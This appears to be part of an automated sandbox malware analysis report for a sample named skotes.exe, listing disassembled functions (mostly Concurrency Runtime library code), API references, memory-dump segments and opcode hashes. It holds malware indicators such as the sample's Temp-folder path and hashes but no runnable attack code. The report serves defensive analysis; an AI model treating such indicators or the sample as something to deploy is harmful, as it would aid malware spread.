Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00ECE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00ECE9DC

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: e7ea9eeb5da5ac36ef1663448398f94c061d10fc778f957adbf823a4170f76c9
Instruction ID: 0540fc1e4eca302d9dadea6ef5e17d9e09650c4470da7c6611363d846b54ef90
Opcode Fuzzy Hash: e7ea9eeb5da5ac36ef1663448398f94c061d10fc778f957adbf823a4170f76c9
Instruction Fuzzy Hash: 83412C35A00619AFCB49DF64C554BADBBB6BF88310F04815DE506B7391CB75AE02CB91

Function 00ECD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00ECD344
ListArray.LIBCONCRT ref: 00ECD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00ECD370
ListArray.LIBCONCRT ref: 00ECD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00ECD3B3

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 734bf93ec4cb1ab0f1a65d0768c4c537be23bc5c73afb9421890ae6289c1d415
Instruction ID: e3495d340009ef46cc56888a8d1bbee73b702e8b67688aa378b0256a71b16d8d
Opcode Fuzzy Hash: 734bf93ec4cb1ab0f1a65d0768c4c537be23bc5c73afb9421890ae6289c1d415
Instruction Fuzzy Hash: AE31A335704210AFCB05DF58CA85FBDB7A5AF89314F14506DE806AB392DB72ED42CB92

Function 00EC86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00EC86EE

Part of subcall function 00EBEAD0: _SpinWait.LIBCONCRT ref: 00EBEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00EC8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00EC8734
List.LIBCMT ref: 00EC87B7
List.LIBCMT ref: 00EC87C6

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 6c48027f3c7ca78cdd5caad50e5f0f56673750f3951e9e72bf780b7cd19eeba5
Instruction ID: 47aec1ce7432ea962f13490d9d97e8c8643d65b141105370ba0cf90b59c176a8
Opcode Fuzzy Hash: 6c48027f3c7ca78cdd5caad50e5f0f56673750f3951e9e72bf780b7cd19eeba5
Instruction Fuzzy Hash: 31316B36905255DFCB14EFA4CB81AEDB7B1BF04318F24606ED801B7652EB326D16CB90

Function 00ED182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00ED18EB

Strings

pContext, xrefs: 00ED189C

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 229cf232d2045c6cfb21e3d692ce57f244df894273e35070f1d0075d1271ed88
Instruction ID: 1562cc9dff3cd86fa4505ffa274390f904c35adef5e5067fa6e7623f349ce1a8
Opcode Fuzzy Hash: 229cf232d2045c6cfb21e3d692ce57f244df894273e35070f1d0075d1271ed88
Instruction Fuzzy Hash: EF212939B00615AFCB18E768D855ABDB3A5FF80338B0411ABE511A73D1CB64EC43DA91

Function 00EDDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6, xrefs: 00EDE034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00EDDFE8

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
